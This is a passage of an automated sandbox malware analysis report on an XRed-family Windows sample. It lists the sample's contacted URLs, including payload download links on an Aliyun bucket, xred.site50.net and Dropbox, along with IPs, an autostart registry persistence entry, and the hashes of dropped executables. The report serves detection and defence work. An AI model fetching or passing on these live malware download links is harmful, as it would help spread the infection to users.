00000005.00000003.1514402089.0000000002124000.00000004.00001000.00020000.00000000.sdmp, RCXF081.tmp.5.dr	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe8O	file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638397293.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/uctz	Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/ucTr	Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/ta	Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe~	file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc?id=0BxsMX	Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini	1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	false		high
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlV	Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeh	file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe#	file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exetO	file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeG__	file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/	file.exe, 00000000.00000003.1482793822.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exetO	file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeJ	file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc	Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.comx	file.exe, 00000000.00000002.1588506794.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/I	file.exe, 00000000.00000003.1482793822.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc4j	Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.	Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rar	1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	false		high
http://www.lineageonline.jp/	._cache_1.exe, 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.	file.exe, 00000000.00000003.1548262850.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeLMEMpx/w	file.exe, 00000000.00000003.1482793822.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe1	file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exePEz	file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=0	1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeOOC:	file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.goo	Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeX	file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dlh	1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://bruplong.oss-accelerate.aliyuncs.com/3	file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll	1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exeFHg	file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl	1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.142	docs.google.com	United States	15169	GOOGLEUS	false
47.254.187.72	eu-central-1.oss-acc.aliyuncs.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
142.250.186.33	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583469
Start date and time:	2025-01-02 20:18:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal84.rans.troj.expl.evad.winEXE@27/189@27/4
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 85% Number of executed functions: 183 Number of non-executed functions: 271
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.28.46, 184.28.90.27, 52.113.194.132, 20.42.65.91, 20.42.73.29, 40.126.32.72, 52.149.20.212, 23.206.229.226, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, onedscolprdeus17.eastus.cloudapp.azure.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, onedsblobprdeus15.eastus.cloudapp.azure.com, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, www.bing.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net, uks-azsc-config.officeapps.live.com
Execution Graph export aborted for target Synaptics.exe, PID 5500 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:20:10	API Interceptor	1352x Sleep call for process: Synaptics.exe modified
14:20:38	API Interceptor	3347975x Sleep call for process: 3.exe modified
14:20:58	API Interceptor	18410x Sleep call for process: cbas.exe modified
14:22:07	API Interceptor	295661x Sleep call for process: splwow64.exe modified
14:23:32	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:20:05	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe
20:20:15	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
69.42.215.252	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	xyxmml.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	valyzt.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	13.107.246.45
	https://gldkzr-lpqw.buzz/script/ut.js?cb%5C=1735764124690	Get hash	malicious	Unknown	Browse	13.107.246.45
	Bootxr.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	cici.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	intro.avi.exe	Get hash	malicious	Quasar	Browse	13.107.246.45
	random(6).exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	1.exe	Get hash	malicious	XWorm	Browse	13.107.246.45
	installer64v7.1.0.msi	Get hash	malicious	Unknown	Browse	13.107.246.45
	hcxmivKYfL.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
eu-central-1.oss-acc.aliyuncs.com	https://im16.net/	Get hash	malicious	Unknown	Browse	47.254.187.65
	http://im20.net/	Get hash	malicious	Unknown	Browse	47.254.187.65
	8v4iWYLvKJ.exe	Get hash	malicious	CobaltStrike Metasploit	Browse	47.254.186.176
	WhQZ6UbCEY.exe	Get hash	malicious	CobaltStrike Metasploit	Browse	47.254.186.176
freedns.afraid.org	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	https://www.gazeta.ru/politics/news/2024/12/22/24684854.shtml	Get hash	malicious	HTMLPhisher	Browse	47.253.61.56
	45631.exe	Get hash	malicious	Nitol	Browse	8.217.152.240
	Hilix.mpsl.elf	Get hash	malicious	Mirai	Browse	8.208.198.92
	0000000000000000.exe	Get hash	malicious	Nitol	Browse	8.217.35.192
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	8.211.209.238
	letsVPN.exe	Get hash	malicious	Unknown	Browse	8.223.56.120
	letsVPN.exe	Get hash	malicious	Unknown	Browse	8.223.56.120
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	8.212.101.195
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	8.212.101.195
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	149.129.12.34
AWKNET-LLCUS	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	142.250.185.142 142.250.186.33
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	142.250.185.142 142.250.186.33
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	142.250.185.142 142.250.186.33
	Setup.exe.7z	Get hash	malicious	Unknown	Browse	142.250.185.142 142.250.186.33
	45631.exe	Get hash	malicious	Nitol	Browse	142.250.185.142 142.250.186.33
	45631.exe	Get hash	malicious	Unknown	Browse	142.250.185.142 142.250.186.33
	1734098836319.exe	Get hash	malicious	BlackMoon	Browse	142.250.185.142 142.250.186.33
	ETVk1yP43q.exe	Get hash	malicious	AZORult	Browse	142.250.185.142 142.250.186.33
	16oApcahEa.exe	Get hash	malicious	Babuk, Djvu	Browse	142.250.185.142 142.250.186.33

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	830976
Entropy (8bit):	6.743094412845321
Encrypted:	false
SSDEEP:	12288:xMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9oKXMg14ldj:xnsJ39LyjbJkQFMhmC+6GD9+vF
MD5:	D026CFE00B08DA14B0A8B7F8860887D7
SHA1:	08EF96351067F151C19B9CC21605EA018FB43A18
SHA-256:	E261D309F30DE33A1BA0AA43604DB15F3326C6C8C5B291BDD52F18EA361FE3DD
SHA-512:	4EF560FF8C6A9A143B9365884C0C999A1FBF5EE638F170AD96ADD2B8B56933038D573CB31F45724A7F1A7B6A35CD2557344BD55C746FC9E9DA38ECD3BDD6361D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Program Files (x86)\1.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\1.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4645376
Entropy (8bit):	7.861574505223912
Encrypted:	false
SSDEEP:	98304:3nsmtk2aqBB6wcOBfKGSUjkO80kI//gmiklAV+vuGKiSB8zI9ShRbfVdsFWV:3LxiGtJkI/9JQ+vuziSXkfBdko
MD5:	85A57509DB3E9DFA7B4E451B8243220D
SHA1:	EE21F93372218959F8B3DCEFAA2C680D857E9E52
SHA-256:	FCD8D4592CF92FB9F9235A2774CDC8AFF4265D4015269FB7AA995182F8CE26E1
SHA-512:	104615F2366E06CBBA58A87F2E01D6806C1871C29AF8277E06FCDB385F4AE6BEB37C3BAFD861C320A01303A287A68AE9B5D8640F29A39C21FE38AD9803EBE00D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Program Files (x86)\2.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\2.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................B=...................@..........................@G..................@..............................B......x9<..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...x9<......:<.................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\3.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9872
Entropy (8bit):	6.582338874776353
Encrypted:	false
SSDEEP:	96:75yFmm11gDnLWB0x6sBA0wHN7m8oB4eXMMhb/WJMepdgPYXa5yQILwKQMlZZptg:7i9oLE0xa0wt71MXMMFypdgPuLQILH0
MD5:	1EDB88F9EE745EAAEE2CBD8219318EB0
SHA1:	6561C12D51090972B6F866F38F8ED281C5C83313
SHA-256:	0AC1125284E2600D3714C0226F800F4D8D9AA291FA299BB1D33B7D8984B5E1C0
SHA-512:	A2A20A70C9E1DB729F716706796027A5C9002AD000E75C0DCED3ECE6F26D76EE0803ACC31D3A116266E711EC6A16D33C0668412238DFE0F128F3A841232FF4C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........FR..'<..'<..'<..v.'<..v..'<.._...'<..'=..'<..u..'<..u.'<.Rich.'<.........................PE..L...:.f................. ........................@.......................................@.........................................................................................................................................................UPX0....................................UPX1..... ..........................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................................2.02.UPX!....

C:\Program Files (x86)\4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	346414
Entropy (8bit):	6.861892987708496
Encrypted:	false
SSDEEP:	6144:jiubWrNSOetO6cprlQAOWizGLIoSdQX+tJs0/br:uubsNSOetfARQAPyGU2X+tZ/n
MD5:	39E7BE73C7531AC895F75834FDC1BCD6
SHA1:	646B88B488CF673C38B56FE7748C70B31BB29FC3
SHA-256:	A176E32335D81E69906F1C062E62247E97B8863F2C6148A36713E5BED5D16195
SHA-512:	E5C34EF2D309EF2071495A359999B9F8DBEB6D7DB1DAA67E82494D71B0F1E888D0958B5A503CB3B0E505B70F26CFEFE362D6301599143BEDB40A19FDB60EF072
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w..w..w..<.V.w..<.T..w..<.U.w....Z.w......w......w......w...$.w...4.w..w..v......w......w....X.w......w..Rich.w..........PE..L......d...............!.....................@....@..........................p............@.............................4.......P....`..t....................@...#......T............................f..@............@..x...\... ....................text....-.......................... ..`.rdata......@.......2..............@..@.data...PG..........................@....didat.......P......................@....rsrc........`......................@..@.reloc...#...@...$..................@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_1aa5473bd3682fcf5725fad1ec324a8f65a7f8f7_455b7b6e_e145bd13-3476-4242-8afc-71e087141ed9\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.133347268138185
Encrypted:	false
